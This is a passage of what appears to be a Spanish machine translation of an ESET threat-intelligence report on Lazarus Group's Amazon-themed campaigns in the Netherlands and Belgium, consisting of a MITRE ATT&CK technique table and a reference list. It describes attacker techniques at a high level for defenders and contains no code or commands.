T1574.002 Flujo de ejecución de secuestro: carga lateral de DLL Muchos de los droppers y cargadores de Lazarus usan un programa legítimo para su carga.
T1014 Rootkit El módulo de usuario a kernel de Lazarus puede desactivar las funciones de monitoreo del sistema operativo.
T1027.002 Archivos o información ofuscados: paquete de software Lazarus usa Themida y VMProtect para ofuscar sus binarios
T1218.011 Ejecución de proxy binario del sistema: Rundll32 Lazarus usa rundll32.exe para ejecutar sus DLL maliciosos
Comando y control T1071.001 Protocolo de capa de aplicación: protocolos web El backdoor HTTP(S) de Lazarus utiliza HTTP y HTTPS para comunicarse con sus servidores C&C.
T1573.001 Canal cifrado: criptografía simétrica El backdoor HTTP(S) de Lazarus cifra el tráfico de C&C utilizando el algoritmo AES-128.
T1132.001 Codificación de datos: codificación estándar Las cargas útiles HTTP(S) de Lazarus codifican el tráfico C&C utilizando el algoritmo base64.
exfiltración T1560.002 Archivar datos recopilados: Archivar a través de la biblioteca El cargador HTTP(S) de Lazarus puede comprimir archivos de interés y cargarlos en su C&C.
Desarrollo de recursos T1584.004 Adquirir Infraestructura: Servidor Los servidores comprometidos fueron utilizados por todas las puertas traseras, cargadores y descargadores HTTP(S) de Lazarus como C&C.
Desarrollar capacidades T1587.001 Malware Es probable que los atacantes desarrollen herramientas personalizadas del ataque. Algunos exhiben capacidades de desarrollo de kernel altamente específicas vistas anteriormente en las herramientas de Lazarus.
Ejecución T1204.002 Ejecución del usuario: archivo malicioso Se atrajo al objetivo para que abriera un documento de Word malicioso.
Acceso inicial T1566.003 Phishing: Spearphishing a través del servicio El objetivo fue contactado a través de LinkedIn Messaging.
T1566.001 Phishing: archivo adjunto de spearphishing El objetivo recibió un archivo adjunto malicioso.
Persistencia T1547.006 Ejecución de inicio automático de inicio o inicio de sesión: Módulos y extensiones del kernel El BYOVD DBUtils_2_3.sys se instaló para iniciar a través del cargador de arranque (valor 0x00 existentes Inicio clave debajo HKLMSYSTEM‌CurrentControlSetServices.
T1547.001 Ejecución de inicio automático de inicio o inicio de sesión: carpeta de inicio El cuentagotas del descargador HTTP(S) crea un archivo LNK OneNoteTray.LNK en la carpeta Inicio.

Referencias

Ahnlab. Informe de análisis sobre el ataque de rootkit de Lazarus Group usando BYOVD. verso 1.0. 22 de septiembre de 2022. Obtenido de AhnLab Security Emergency Response Center.

Ahnlab. (2021, 4 de junio). Ataques de APT a empresas nacionales que utilizan archivos de biblioteca. Obtenido de AhnLab Security Emergency Response Center.

Ahnlab. (2022, 22 de septiembre). Informe de análisis sobre el ataque de rootkit de Lazarus Group usando BYOVD. Obtenido de AhnLab Security Emergency Response Center.

Breitenbacher, D. y Kaspars, O. (junio de 2020). Operación In(ter)ception: empresas aeroespaciales y militares en el punto de mira de los ciberespías. Obtenido de WeLiveSecurity.com.

Equipo de investigación ClearSky. (2020, 13 de agosto). Operación 'Trabajo de ensueño' Campaña de espionaje generalizada de Corea del Norte. Obtenido de ClearSky.com.

Dekel, K. (sf). Investigación de seguridad de Sentinel Labs. CVE-2021-21551: Cientos de millones de computadoras Dell en riesgo debido a múltiples fallas de escalada de privilegios del controlador BIOS. Obtenido de SentinelOne.com.

ESET. (2021, 3 de junio). Informe de amenazas de ESET T 1 2021. Obtenido de WeLiveSecurity.com.

Estupendo. (2016, 16 de agosto). El sorteo de la ecuación. Obtenido de SecureList.com.

HvS-Consulting AG. (2020, 15 de diciembre). Saludos de Lázaro: Anatomía de una campaña de ciberespionaje. Obtenido de hvs-consulting.de.

Cherepanov, A. y Kálnai, P. (2020, noviembre). Ataque a la cadena de suministro de Lazarus en Corea del Sur. Obtenido de WeLiveSecurity.com.

Kálnai, P. (2017, 2 17). Desmitificando el malware dirigido utilizado contra los bancos polacos. (ESET) Obtenido de WeLiveSecurity.com.

Kopeytsev, V. y Park, S. (2021, febrero). Lazarus apunta a la industria de defensa con ThreatNeedle. (Kaspersky Lab) Obtenido de SecureList.com.

Lee, T.-w., Dong-wook y Kim, B.-j. (2021). Operación BookCode: dirigida a Corea del Sur. Boletín de Virus. servidor local. Obtenido de vblocalhost.com.

Maclachlan, J., Potaczek, M., Isakovic, N., Williams, M. y Gupta, Y. (2022, 14 de septiembre). ¡Es hora de masilla! RPDC Oportunidad de empleo Phishing a través de WhatsApp. Obtenido de Mandiant.com.

Tomonaga, S. (2020 de septiembre de 29). BLINDINGCAN – Malware utilizado por Lazarus. (JPCERT/CC) Obtenido de blogs.jpcert.or.jp.

US-CERT CISA. (2020, 19 de agosto). MAR-10295134-1.v1 – Troyano de acceso remoto norcoreano: BLINDINGCAN. (CISA) Obtenido de cisa.gov.

Weidemann, A. (2021, 1). Nueva campaña dirigida a investigadores de seguridad. (Grupo de análisis de amenazas de Google) Obtenido de blog.google.

Wu, H. (2008). El cifrado de flujo HC-128. En M. Robshaw y O. Billet, Nuevos diseños de cifrado de flujo (Vol. 4986). Berlín, Heidelberg: Springer. Obtenido de doi.org.

Campañas temáticas de Amazon de Lazarus en los Países Bajos y Bélgica PlatoBlockchain Data Intelligence. Búsqueda vertical. Ai.

Sello de tiempo:

Mas de Vivimos la seguridad